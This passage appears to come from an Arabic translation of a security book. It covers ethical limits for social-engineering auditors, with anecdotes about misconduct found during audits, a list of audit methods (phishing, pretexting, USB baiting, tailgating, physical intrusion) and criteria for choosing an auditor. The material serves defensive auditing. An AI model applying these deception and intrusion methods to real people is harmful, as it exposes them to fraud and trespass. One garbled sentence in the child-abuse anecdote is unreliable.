‫اﻟﻣﺑﺎدئ ﻓﻲ ھذا اﻟﻛﺗﺎب ﻟﻣﺳﺎﻋدة اﻟﺧطوط اﻟﻌرﯾﺿﺔ ﻣن إﻋداد ﺧطﺔ ﺟﯾدة ﻟﻠﮭﺟوم‪ .‬وﻣﻊ ذﻟك‪ ،‬ﺗﺟﻧب ﺑﻌض اﻷﺷﯾﺎء ﻋﻧد اﻟﺗﺧطﯾط ﻟﮭﺟوم‪ .‬أﺷﯾﺎء‬
‫ﻣﺛل‪:‬‬
‫‪ -‬ﻣﮭﺎﺟﻣﺔ ﻋﺎﺋﻠﺔ اﻟﻣﺳﺗﮭدف أو اﻷﺻدﻗﺎء‪.‬‬
‫‪ -‬زرع أدﻟﺔ ﻋﻠﻰ ﺟراﺋم اﻟﺧﯾﺎﻧﺔ أو ﻟﺗﺷوﯾﮫ ﺳﻣﻌﺔ اﻟﮭدف‪.‬‬
‫‪ -‬ﺗﺑﻌﺎ ﻟﻘواﻧﯾن اﻷرض‪ ،‬اﻧﺗﺣﺎل ﻣﻧﻔذ اﻟﻘﺎﻧون ﺳﯾﻛون ﻏﯾر ﻗﺎﻧوﻧﻲ‪.‬‬
‫‪ -‬اﻗﺗﺣﺎم ﻣﻧزل اﻟﮭدف أو ﺷﻘﺗﮫ‪.‬‬
‫‪ -‬اﺳﺗﺧدام أدﻟﺔ ﻋﻠﻰ وﺟود ﻋﻼﻗﺔ ﺣﻘﯾﻘﯾﺔ أو ظرف ﻣﺣرج ﻻﺑﺗزاز اﻟﮭدف ﻟﻼﻣﺗﺛﺎل‪.‬‬
‫ﯾﻧﺑﻐﻲ ﺗﺟﻧب أﺷﯾﺎء ﻣﺛل ھذه ﻓﻲ ﺟﻣﯾﻊ اﻟﺗﻛﺎﻟﯾف ﻷﻧﮭﺎ ﻻ ﺗﺣﻘﻖ اﻟﮭدف وﺗﺗرك اﻟﺷﻌور ﺑﺎﻧﮫ ﺗم اﻧﺗﮭﺎك اﻟﮭدف‪ .‬وﻣﻊ ذﻟك‪ ،‬ﯾﺄﺗﻲ اﻟﺳؤال ﻧﺣو ﻣﺎ‬
‫ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ إذا ظﮭرت أدﻟﺔ ﺗدﻗﯾﻖ ﻣن ﺑﻌض ھذه اﻷﺷﯾﺎء‪ .‬ﻛل ﻣدﻗﻖ أﻣﻧﻰ ﯾﺟب أن ﯾﻘرر ﺷﺧﺻﯾﺎ ﻛﯾﻔﯾﺔ اﻟﺗﻌﺎﻣل ﻣﻊ ھذه اﻟظروف‪ ،‬وﻟﻛن‬
‫ﺑﺎﻟﻧظر ﻓﻲ ﺑﻌض اﻷﻣﺛﻠﺔ‪.‬‬
‫ﻓﻲ اﺣدى اﻟﻣراﺟﻌﺎت‪ ،‬وﺟد اﻟﻣدﻗﻖ اﻷﻣﻧﻲ ﻣوظف ﻛﺎن ﯾﺳﺗﺧدم اﻹﻧﺗرﻧت ﻋﺎﻟﻲ اﻟﺳرﻋﺔ اﻟﺧﺎص ﺑﺎﻟﺷرﻛﺔ ﻟﺗﺣﻣﯾل ﻏﯾﻐﺎﺑﺎﯾت ﻣن اﻻﺷﯾﺎء‬
‫اﻻﺑﺎﺣﯾﺔ ﻟﻣﺣرﻛﺎت اﻷﻗراص اﻟﺻﻠﺑﺔ اﻟﺧﺎرﺟﯾﺔ‪ .‬ﺑدﻻ ﻣن ﻣﺧﺎطر طرد ھذا اﻟﻣوظف ﻓﺈﻧك ﺗذھب إﻟﻰ اﻟﻣوظف وﺗﻘول ﻟﮫ إﻧك ﺗﻌرف‪ ،‬وﻻ ﺗرﯾد‬
‫ﻟﮫ اﻟﺣﺻول ﻋﻠﻰ اﻟﻔﺻل وأﻋطﺎه ﻣﺟرد ﺗﺣذﯾر ﺑﺎﻟﺗوﻗف‪ .‬أﺻﺑﺢ اﻟﻣوظف ﯾﺷﻌر ﺑﺎﻟﺣرج واﻻﻧزﻋﺎج وﯾﺣﺳب أن اﻟﻣدﻗﻖ ﻛﺎن ﻋﻠﻰ وﺷك ﺗﻘدﯾم‬
‫ﺗﻘرﯾر ﻋﻧﮫ‪ .‬ﻓﻘرر اﻧﮫ ﯾرﯾد ﻣﻛﺎﻓﺣﺔ وﻗﺎﺋﯾﺔ ﻟﮭذا اﻟﮭﺟوم ﻓذھب ﻟﻠﻣﺎﻟك وﻗﺎل إن اﻟﻣدﻗﻖ ﯾزرع دﻟﯾل ﻋﻠﻰ ھذا اﻟﺟرم ﻋﻠﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص‬
‫ﺑﮫ‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬ﻛﺎن ﻣدﻗﻖ اﻻﻣن ﯾﻘوم ﺑﺗﺳﺟﯾل ﻟﻘطﺎت ﻋﻧد وﻗوع اﻻﺧﺗراق وان اﻟﻣوظف ﺗم ﻓﺻﻠﮫ ﻋﻠﻰ أي ﺣﺎل‪ .‬وﻟﻛن أﯾﺿﺎ ﺗم ﺗوﺑﯾﺦ اﻟﻣدﻗﻖ ﻟﻌدم‬
‫ﺗﻘدﯾﻣﮫ ھذا ﻋﻧدﻣﺎ وﺟد ﺟرﯾﻣﺔ اﻟﺗﻲ ﻛﺎﻧت ﺿد ﺳﯾﺎﺳﺔ اﻟﺷرﻛﺔ اﻟﺻﺎرﻣﺔ‪.‬‬
‫ﻓﻲ رواﯾﺔ أﺧرى‪ ،‬وﺟد اﻟﻣدﻗﻖ دﻟﯾل ﻋﻠﻰ وﺟود رﺟل ﯾﻘوم ﺑﺗﻧزﯾل اﻟﻣواد اﻹﺑﺎﺣﯾﺔ اﻟﺧﺎﺻﺔ ﺑﺎﻷطﻔﺎل ﻋﻠﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص ﺑﮫ وﻣن ﺛم‬
‫ﺗوزﯾﻌﮭﺎ ﻋﻠﻰ آﺧرﯾن ﻋﻠﻰ اﻹﻧﺗرﻧت‪ .‬اﻟﻣدﻗﻖ ﯾﻌرف ﻣن اﻟﺻور ﻋﻠﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص ﺑﮫ أن ﻟدﯾﮫ زوﺟﺔ وأطﻔﺎل وأن اﻹﺑﻼغ ھذا ﻣن‬
‫ﺷﺄﻧﮫ أن ﯾؤدي إﻟﻰ اﻟطﻼق‪ ،‬ورﺑﻣﺎ ﻋﻘوﺑﺔ اﻟﺳﺟن‪ ،‬واﻟﺧراب ﻓﻲ ﻣﺳﯾرﺗﮫ وﻛذﻟك ﺣﯾﺎة اﻟﻌﺎﺋﻠﺔ‪.‬‬
‫ﺣﯾث ان اﻟﻘﺎﻧون ﯾﻌﺗﺑر ﺗﻠك اﻟﻣواد اﻹﺑﺎﺣﯾﺔ ﻏﯾر ﻗﺎﻧوﻧﯾﺔ‪ ،‬وﻛذﻟك ﻣﺛﯾرة ﻟﻼﺷﻣﺋزاز ﻣن اﻟﻧﺎﺣﯾﺔ اﻷﺧﻼﻗﯾﺔ واﻟدﻧﯾﺋﺔ‪ .‬اﻟﻣدﻗﻖ ذھب اﻟﻰ اﻟرﺟل ﻓﻲ‬
‫ﻓﺿﻼ ﻋن اﻟﺳﻠطﺎت‪ ،‬اﻟﺗﻲ ﺳوف ﺗﻛﻠف ھذا اﻟرﺟل ﺣﯾﺎﺗﮫ اﻟﻣﮭﻧﯾﺔ واﻟﻌﺎﺋﻠﯾﺔ‪ ،‬واﻟﺣرﯾﺔ‪.‬‬
‫وﺟود ﺗﻌرﯾف واﺿﺢ "ﻻ" ﯾﻌزز ﻗﺎﺋﻣﺔ اﻟﺗدﻗﯾﻖ اﻟﺧﺎﺻﺔ ﺑك وﺗﺑﻘﯾك ﻋن ﻋﺑور اﻟﻣﺑﺎدئ اﻟﺗوﺟﯾﮭﯾﺔ اﻷﺧﻼﻗﯾﺔ واﻟﻘﺎﻧوﻧﯾﺔ اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﻓﻲ إﺣدى‬
‫اﻟﻣﻘﺎﺑﻼت اﻟﺗﻲ أﺟرﯾت ﻣﻊ ﺟو ﻧﺎﻓﺎرو‪ ،‬واﺣدة ﻣن ﻗﺎدة اﻟﻌﺎﻟم ﻓﻲ اﻟﺗواﺻل اﻟﻐﯾر ﻟﻔظﻲ‪ ،‬ﻗﺎل اﻧﮫ أدﻟﻰ ﺑﺑﯾﺎن ﺣول ھذه اﻟﻧﻘطﺔ‪ .‬ﺣﯾث ﻗﺎل إﻧﮫ ﻣﺎ ﻟم‬
‫ﺗﻛن وﻛﯾل ﻣﻧﻔذ اﻟﻘﺎﻧون ﻋﻠﯾك أن ﺗﻘرر ﻣﺎ ﺗﺷﺎء ﻣن اﻟﺧطوط اﻟﺗﻲ ﺳوف ﺗﻌﺑرھﺎ واﻟﺗﻲ ﻟن ﺗﻌﺑرھﺎ ﻗﺑل اﻟدﺧول ﻓﻲ اﻻﺷﺗﺑﺎك‪ .‬ﻣﻊ أﺧذ ذﻟك ﻓﻲ‬
‫اﻻﻋﺗﺑﺎر ﻣﺎ ھﻲ اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﺟب أن ﯾﺗﺿﻣﻧﮭﺎ اﻟﻣدﻗﻖ ﻓﻲ اﻟﺗدﻗﯾﻖ؟‬
‫‪ -‬ھﺟﻣﺎت اﻟﺗﺻﯾد )‪ :(Phishing Attacks‬ھﺟﻣﺎت اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻣﺳﺗﮭدﻓﺔ اﻟﺗﻲ ﺗﺳﻣﺢ ﻟﻠﺷرﻛﺔ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﻣوظﻔﯾﮭﺎ‬
‫ﻋرﺿﺔ ﻟﻠﮭﺟﻣﺎت ﻣن ﺧﻼل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪.‬‬
‫‪ -‬اﻟﺗﺳﺗر ﻓﻲ ﺷﺧﺻﯾﺔ ﻟﻠﮭﺟوم )‪ :(Pretexting In-Person Attacks‬ﯾﺗم اﺧﺗﯾﺎر ذراﺋﻊ دﻗﯾﻘﺔ ﺟدا ﺛم ﯾﻘوم ﺑﺄداﺋﮭﺎ ﻋﺑر اﻟﮭﺎﺗف أو‬
‫ﺷﺧﺻﯾﺎ ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎﻧت اﻟﻣوظﻔﯾن ﺳوف ﯾﺳﻘطون ﻓﻲ ھذا‪.‬‬
‫‪ -‬اﻻﺻطﯾﺎد )‪ :(Baiting‬ھﺟوم ﺷﺧﺻﻲ ﺣﯾث ﺗﻣﻛﻧت ﻣن اﻟوﺻول إﻟﻰ ﻣﺑﻧﻰ اﻟﮭدف أو ﻏﯾرھﺎ ﻣن اﻟﻣﻣﺗﻠﻛﺎت ﻣن ﻗﺑل ﺑﻌض اﻟطرق‪،‬‬
‫وﯾﺗم إﺳﻘﺎط أﺟﮭزة ‪ USB‬أو أﻗراص اﻟﻔﯾدﯾو اﻟرﻗﻣﯾﺔ اﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ ﻣﻠﻔﺎت اﻟﺧﺑﯾﺛﺔ ﻋﻠﯾﮭﺎ‪.‬‬
‫‪ :Tailgating (or piggybacking) -‬ھﺟوم ﺷﺧﺻﻲ ﺣﯾث ﯾﺣﺎول اﻟﻣدﻗﻖ اﻻﻗﺗراب ﻣن ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣوظﻔﯾن ﻣن اﻟوﺻول إﻟﻰ‬
‫اﻟﻣﺑﻧﻰ ﺣﯾث ﯾﻘوم ﺑﺎﺗﺑﺎﻋﮭم ﻓﻘط ﻟﻠدﺧول‪.‬‬
‫‪ -‬اﻷﻣن اﻟﻣﺎدي )اﻟﻔرﯾﻖ اﻷﺣﻣر( })‪ :{Physical Security (Red Team‬ﻣﺣﺎوﻟﺔ اﻟوﺻول اﻟﻔﻌﻠﻲ إﻟﻰ اﻟﻣﻛﺗب واﺗﺧﺎذ اﻟﺑﻧود ذات‬
‫ﻗﯾﻣﺔ ﻟﻠﺷرﻛﺔ‪.‬‬
‫ھذه ﻗﺎﺋﻣﺔ ﻗﺻﯾرة اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻣدﻗﻖ اﻟﻣﻼن اﻟﻣﺣﺗرف ﻋﻠﻰ ﺗﻌﯾن ﺑﻌض ﻣﺑﺎدئ اﻟﺗوﺟﯾﮫ ﻟﺗﺣدﯾد ﻣﺎ ﯾﺟب وﻣﺎ ﻻ ﯾﻧﺑﻐﻲ أن ﺗدرج‪ .‬وﻣﻊ‬
‫ذﻟك‪ ،‬واﺣدة ﻣن أﻛﺑر اﻟﺷرﻛﺎت ﻟدﯾﮭﺎ ﻣﺷﺎﻛل ﻛﺛﯾرة ﺗﺣﺎول اﻧﺗﻘﺎء ﻣدﻗﻖ ﺣﺳﺎﺑﺎت ﺟﯾدة‪ ،‬أﺣد ﻗﺎدر ﻋﻠﻰ ﺗﺣﻘﯾﻖ ھذه اﻟﻣﮭﺎم ﻓﻲ ﻣﺗﻧﺎول ﯾده‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪998‬‬

‫اﺧﺗﯾﺎر أﻓﺿل اﻟﻣدﻗﻘﯾن )اﻟﻣﺣﻘﻘﯾن( }‪{Choosing The Best Auditor‬‬

‫إذا ﻛﺳرت أﺣد أطراﻓك وﻛﺎﻧت اﻷﺿرار ﺳﯾﺋﺔ‪ ،‬ﻓﺎن اﻟطﺑﯾب ﯾﻘول ﻟك أن ﻟدﯾك ﻓرﺻﺔ ﻻﺳﺗﻌﺎدة ‪ ٪50‬ﻓﻘط‪ ،‬وﻟﻛن اﻟذھﺎب ﻟرؤﯾﺔ ﺟراح ﺟﯾد‬
‫ﯾﻣﻛن أن ﺗزﯾد ﺗﻠك اﻟﻧﺳﺑﺔ‪ ،‬اﻻ ﺗرﻏب ﻓﻲ اﻟﺑﺣث اﻟﻌﺎﻟﻲ ﻋن اﻟﺟراح اﻟﺟﯾد ﻹﺻﻼح ﻣﺷﺎﻛﻠك؟ وﻋﻧدﻣﺎ ﺗﻌﺛر ﻋﻠﯾﮫ‪ ،‬ﻣﺎ ھﻲ اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺳوف‬
‫ﺗﺳﺄﻟﮫ؟ اﻻ ﺗرﻏب ﻓﻲ رؤﯾﺔ ﻋﻣﻠﮫ اﻟﺳﺎﺑﻖ؟ ھل ﺗرﯾد ﺑﻌض ﻣن اﻷدﻟﺔ ﻋﻠﻰ ﻗدرﺗﮫ ﻋﻠﻰ ﻓﮭم اﻟﻣﻔﺎھﯾم وأداء اﻟﻣﮭﺎم اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗزﯾد ﻣن‬
‫ﻓرص اﻻﻧﺗﻌﺎش‪.‬‬
‫اﻧت ﺳوف ﺗﻘوم ﺑﺎﺗﺑﺎع ﻋﻣﻠﯾﺔ ﻣﻣﺎﺛﻠﺔ ﻟﻠﻌﺛور ﻋﻠﻰ اﻟﻣدﻗﻖ اﻟﺻﺣﯾﺢ‪ .‬وھﻧﺎ ﺑﻌض ﻣن اﻷﺳﺎﺳﯾﺎت اﻟﺗﻲ ﻗد ﺗرﻏب ﻓﻲ ﻣﻌرﻓﺗﮭﺎ ﻋﻧدﻣﺎ ﺗﺗﺣدث إﻟﻰ‬
‫ﻣدﻗﻖ أﻣﻧﻰ‪:‬‬
‫‪ -‬اﻟﻣﻌرﻓﺔ )‪ :(Knowledge‬ھل ﻗﺎم اﻟﻔرﯾﻖ ﺑﺈﺧراج أي ﻣن اﻻﺑﺣﺎث‪ ،‬اﻟﻣﻘﺎﻻت‪ ،‬اﻟﺧطب‪ ،‬أو ﻏﯾرھﺎ ﻣن اﻟﻣواد اﻟﺗﻲ ﯾﺗم ﻋرﺿﮭﺎ ﻋﻠﻰ‬
‫أﻧﮭم ﻋﻠﻰ دراﯾﺔ ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؟ ﻣﻌروﻓﯾن ﻓﻲ اﻟﻣﺟﺗﻣﻊ ﻋﻠﻰ ﻛزﻧﮭم راﺋدﯾن ﻓﻲ ھذا اﻟﻣﺟﺎل؟ اﻧت ﻻ ﺗرﯾد أن ﺗﺛﻖ ﺑﺎﻟﺗدﻗﯾﻖ واﻣن‬
‫اﻟﻔرﯾﻖ اﻟذي ﯾﺳﺗﺧدم أﺳﺎﻟﯾب ﻋﻔﺎ ﻋﻠﯾﮭﺎ اﻟزﻣن‪ ،‬وﻟﯾس ﺣﺗﻰ أﺣدث اﻟﺗﻛﺗﯾﻛﺎت اﻟﻣﺳﺗﺧدﻣﺔ‪.‬‬
‫ﺗﺣدﯾد ﻛﻣﯾﺔ اﻟﻣﻌرﻓﺔ اﻟﺗﻲ ﯾﻣﻠﻛﮭﺎ ﻣدﻗﻖ اﻻﻣن واﻟﻔرﯾﻖ ﺻﻌﺑﮫ ﻓﻲ ظل اﻟﺑﺣث اﻟﻘﻠﯾل‪ .‬ﺳؤال اﻟﻣراﺟﻌﯾن ﺣول اﻷوراق واﻟﻣﻘﺎﻻت و‪/‬أو اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺗﻲ ﻗد ﻛﺗﺑوھﺎ ﻟﯾﺳت ﻓﻛرة ﺳﯾﺋﺔ‪ .‬ﺗﺄﻛد ﻣن أن ﻓرﯾﻖ اﻟﺗﻲ ﺗﺳﺗﺋﺟره ﯾﻣﺛل اﻟﺟزء اﻟﻌﻠوي ﻣن اﻟﻠﻌﺑﺔ‪.‬‬
‫‪ -‬اﻟﺧﺑرة )‪ :(Experience‬اﻟﻌﻣﻼء ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻻ ﯾرﯾدون اﻟﻛﺷف ﻋن ھوﯾﺗﮭم أو اﺳﻣﮭم‪ .‬ﻓﻲ ﺣﺎﻟﺗﻲ‪ ،‬اﻟﻌدﯾد ﻣن اﻟﻌﻣﻼء ﻻ‬
‫ﯾرﯾدون أن ﯾﺗم وﺿﻌﮭم ﻋﻠﻰ ﻣوﻗﻊ اﻻﻧﺗرﻧت أو ﺗﺳوﯾﻖ اﻟﻣواد ﻷﻧﮭم ﯾﺷﻌرون ﺑﺎن ھذا ﺳوف ﯾﺣرﺟﮭم أو ﯾﺟﻌﻠﮭم ﻋرﺿﺔ ﻟﻠﺧطر‪.‬‬
‫وﻟﻛن ﯾﻣﻛﻧك ﺗﺣدﯾد ﺧﺑرة اﻟﻣراﺟﻊ ﺑطرق أﺧرى‪ .‬ﺳؤاﻟﮭم ﻋن اﻷﺳﺎﻟﯾب اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ ﻟدﯾﮫ وﻛﯾﻔﯾﺔ ﺗﻧﻔﯾذه اﻟﺣﻠول ﻓﻲ اﻟﻣﺎﺿﻲ‪.‬‬
‫ﻣدﻗﻖ اﻻﻣن ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻻ ﯾرﯾد اﻟﺳﻣﺎح ﻟﺟﻣﯾﻊ اﻷﺳرار ﺑﺎﻟﺧروج ﻣن اﻟﺣﻘﯾﺑﺔ ﻓﻲ اﺟﺗﻣﺎﻋﮫ اﻻول‪ ،‬وﻟﻛن ﺳؤاﻟﮫ ﻋن واﺣد أو اﺛﻧﯾن ﻣن‬
‫اﻟﺣﺳﺎﺑﺎت اﻟذي أطﻠﻖ ﻋﻠﯾﮭﺎ اﻟﮭﺟوم‪ ،‬ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗﺣدﯾد ﻣﺳﺗواه ﻣن اﻟﻣﮭﺎرة‪.‬‬
‫‪ -‬اﻟﻌﻘد )‪ :(Contract‬اﻣﺗﻼك ﺗوﺛﯾﻖ‪ ،‬وﺗﻌﯾﯾن ﺣدود ﯾﻣﻛن أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﻣراﺟﻌﺔ ﻧﺎﺟﺣﺔ‪ .‬ﺷﺧﺻﯾﺎ‪ ،‬أﻧﺎ ﻻ أﺣب اﻟﻌﻣل ﻣﻊ‬
‫ﻣن ﻟﮫ ﻧﺻف طن ﻣن اﻟﻘﯾود ﻷن ﻣﻌظم اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾﺛﺔ ﻟﯾس ﻟدﯾﮭم أي ﻣن ھذه اﻟﻘﯾود ﻋﻠﻰ اﻹطﻼق‪ .‬وﻟﻛن ﻋﻠﻰ اﻷﻗل‬
‫ﻣﺟﻣوﻋﺔ ﻓرﻋﯾﺔ ﺻﻐﯾرة ﻣن اﻟﻘواﻋد ﻣﻛﺗوﺑﺔ ﻟﻠﺧروج ﻋﻠﻰ ﻣﺎ ھو ﻣﻘﺑول وﻣﺎ ﻻ ﯾﺟوز أن ﯾﺗم اﻻﺗﻔﺎق ﻋﻠﯾﮭﺎ‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾرﯾد إذن إﻟﻰ ﺳﺟل اﻟﻣﻛﺎﻟﻣﺎت اﻟﮭﺎﺗﻔﯾﺔ‪ .‬ﻓﯾدﯾو ﻗﯾﺎﺳﻲ ﻟﻠﻣﺑﻧﻰ واﻟﺗﻔﺎﻋﻼت‪ .‬وﺧﺎﺻﺔ إذا ﻛﺎن اﻟﺗدﻗﯾﻖ ﯾﺷﻣل اﻷﻣن اﻟﻣﺎدي‪،‬‬
‫ﻟدﯾك إذن ﻛﺗﺎﺑﻲ ﻹزاﻟﺔ اﻟﻌﻧﺎﺻر ﻣن اﻟﻣﺑﻧﻰ‪ .‬ﻣدﻗﻖ اﻻﻣن ﻻ ﺗرﯾد إﻧﮭﺎء اﻟﺗدﻗﯾﻖ ﻓﻘط ﻟﺗﻘدﯾﻣﮭﺎ ﻣﻊ ﻣذﻛرة أو دﻋوى ﻗﺿﺎﺋﯾﺔ‪.‬‬
‫أﯾﺿﺎ ﺗﻌﯾﯾن ﺷﺧص اﻻﺗﺻﺎل ﻓﻲ ﺣﺎﻻت اﻟطوارئ اﻟذي ﯾﻌرف ﻋن اﻟﺗدﻗﯾﻖ وﯾﻣﻛن أن ﯾﺷﮭد ﻋﻠﻰ ﻣراﻗب اﻻﻣن واﻟﻔرﯾﻖ‪ .‬إذا وﺟد اﻟﻣدﻗﻖ اﻻﻣن‬
‫ﻧﻔﺳﮫ وﻗﻊ ﻓﻲ ازدﺣﺎم اﻟﻘﺎﻧوﻧﻲ ﻓﺎﻧﮫ ﺳوف ﯾﺣﺗﺎج رﻗم ﻟﻼﺗﺻﺎل‪ .‬ﻻ أﺣد ﯾرﯾد أن ﯾﻘوم ﺑﺄداء اﻟﺑﺣث ﻓﻲ اﻟﻘﻣﺎﻣﺔ ﻟوﻗت ﻣﺗﺄﺧر ﻣن اﻟﻠﯾل ﺣﺗﻰ ﻻ‬
‫ﯾﺗﻘﺎﺑل ﻣﻊ اﻟﺷرطﺔ‪ ،‬وﯾﺟﻠس اﻟﻠﯾل ﻓﻲ اﻟﺳﺟن‪ .‬وﺟود ﺷﺧص ﻟﻼﺗﺻﺎل ﯾوﻓر ﺑطﺎﻗﺔ "اﻟﺧروج ﻣن اﻟﺳﺟن" وﯾﻣﻛن ان ﯾوﻓر اﻟﻛﺛﯾر ﻣن اﻟﻣﺗﺎﻋب‬
‫ﻋﻠﻰ اﻟﻣدى اﻟطوﯾل‪.‬‬
‫‪ -‬اﻟﻌﻼﻗﺔ )‪ :(Rapport‬ﺗطﺑﯾﻖ اﻟﻣﺑﺎدئ اﻟواردة ﻓﻲ ھذا اﻟﻛﺗﺎب ﻹﯾﺟﺎد ﻣدﻗﻖ ﺟﯾد‪ .‬ﻋﻧد اﻟﺗﺣدث ﻣﻌﮫ ﻋﻠﻰ اﻟﮭﺎﺗف أو ﺷﺧﺻﯾﺎ ﻛﯾف‬
‫ﯾﺟﻌﻠك ﺗﺷﻌر؟ ﻣﺎذا ﺗرى؟ ھل ﺣﺻﻠت ﻋﻠﻰ ﺷﻌور ﺑﺎﻧﮫ ﻣﺣﺗرف ﻟﻠﻐﺎﯾﺔ وھدﻓﮫ ھو ﻣﺳﺎﻋدﺗك ﺣﻘﺎ‪.‬‬
‫إذا ﻛﻧت ﻣدﯾر اﻟﻣﺷروع اﻟذي ﻗﺎم ﺑﺗوظﯾف ﻣدﻗﻖ اﻻﻣن‪ ،‬ﻓﺎن اﻟﻣﺳؤوﻟﯾﺔ ﺳوف ﺗﻘﻊ ﻋﻠﻰ ﻋﺎﺗﻘك‪ .‬اﻟﻣدﻗﻖ ﻗد ﻻ ﯾرﻏب ﻓﻲ ﻣواﺟﮭﺔ ﻣﻊ اﻟﻔرﯾﻖ‪.‬‬
‫ﻋدد أﻗل ﻣن اﻟﻧﺎس اﻟذﯾن ﯾﻌرﻓون ﻣﺎ ﯾﺑدو ﻓرﯾﻖ‪ ، SE‬ﺣﯾث ذﻟك أﻓﺿل ﻟﻌﻣﻠﯾﺎت ﺗدﻗﯾﻖ اﻷﻣن اﻟﻣﺎدي‪ .‬اﻟﻔرﯾﻖ‪ ،‬ﻧﺗﯾﺟﺔ ﻟذﻟك‪ ،‬ﻗد ﯾرﻏب ﻓﻘط ﻓﻲ‬
‫ﻟﻘﺎء واﺣد أو ﺷﺧﺻﯾن‪ .‬وھذا ﯾﻌﻧﻲ ﯾﺟب ﻋﻠﯾك اﻟﺗﺄﻛد ﻣن ﻣدﻗﻖ اﻻﻣن اﻧﮫ ذات ﺟودة ﻋﺎﻟﯾﺔ وﯾﻣﻛن أن ﯾﻘوم ﺑﺎﻟﻌﻣل اﻟﻣطﻠوب ﻣﻧﮫ‪.‬‬
‫‪ -‬اﻟوﻗت )‪ :(Time‬واﺣد ﻣن أﻛﺑر اﻷﺧطﺎء اﻟﺗﻲ ﯾﻘﻊ ﻓﯾﮭﺎ اﻟﺷرﻛﺎت ھو ﻋﻧد اﻟﺑﺣث ﻋن اﻟﻣدﻗﻘﯾن ﻟﻣﺳﺎﻋدﺗﮭم ﻻ ﯾﻣﻧﺣﮭم اﻟوﻗت اﻟﻛﺎﻓﻲ‬
‫ﻷداء ھذه اﻟﻣﮭﻣﺔ‪ .‬ﺣﯾث ان ﻣﻛﺎﻟﻣﺎت ھﺎﺗﻔﯾﺔ ﻗﻠﯾﻠﺔ أو زﯾﺎرة ﻣوﻗﻊ واﺣد ﯾﻣﻛن أن ﯾﺗﺣﻘﻖ ھذا ﻛﻠﮫ ﻓﻲ ﯾوم واﺣد ﻓﻘط‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ‬
‫ﻗد ﯾﻛون ﺻﺣﯾﺣﺎ‪ ،‬ﻣﺎذا ﻋن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت واﻟﺗﺧطﯾط‪ ،‬وﺗﺣدﯾد اﻟﻧطﺎق ﻣن اﻷھداف؟ ھذه اﻷﻣور ﺗﺳﺗﻐرق وﻗﺗﺎ‪ .‬اﻟوﻗت ﻣﮭم وإﻧﻣﺎ‬
‫ھو أﯾﺿﺎ ﻣﺛل اﻟﺳﯾف ﺣﯾث أن إﺗﺎﺣﺔ اﻟوﻗت ذو ﺣدﯾن ﯾﻛﻔﻲ ﻟﻠﻣراﻗب ﻟﻠﻘﯾﺎم ﺑﻌﻣل ﺟﯾد‪ ،‬وﻟﻛن اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﯾﺻﺑﺢ ﻣﺷﻛﻠﺔ ﻓﻲ‬
‫اﻟﺗﻛﻠﻔﺔ‪ .‬إدارة‪.‬‬
‫ھذه ﻟﯾﺳت ﺳوى ﻋدد ﻗﻠﯾل ﻣن اﻟﻣﻧﺎطﻖ اﻟﺗﻲ ﯾﺟب اﻻﻋﺗﺑﺎر ﺑﮭﺎ ﻋﻧد اﺧﺗﯾﺎر ﻣدﻗﻖ اﻻﻣن اﻟﺻﺣﯾﺢ ﻟﺷرﻛﺗك‪ .‬ﻓﻲ اﻟﻧﮭﺎﯾﺔ ﯾﺟب أن ﺗﺷﻌر ﺑﺎﻟراﺣﺔ‬
‫أن ﻓرﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﻲ ﺳﯾﻛون اﻻﻓﺿل‪ ،‬وﺳوف ﯾﺑذل ﻗﺻﺎرى ﺟﮭده ﻟﯾظل ﺗﺣت ﻣظﻠﺔ اﻟﻣﮭﻧﯾﺔ‪ ،‬واﻟﺑﻘﺎء ﻓﻲ إطﺎر اﻟﻣﺑﺎدئ اﻟﺗوﺟﯾﮭﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪999‬‬

‫‪Social Engineering Countermeasures‬‬

‫)‪Two-Factor Authentication (TFA or 2FA‬‬

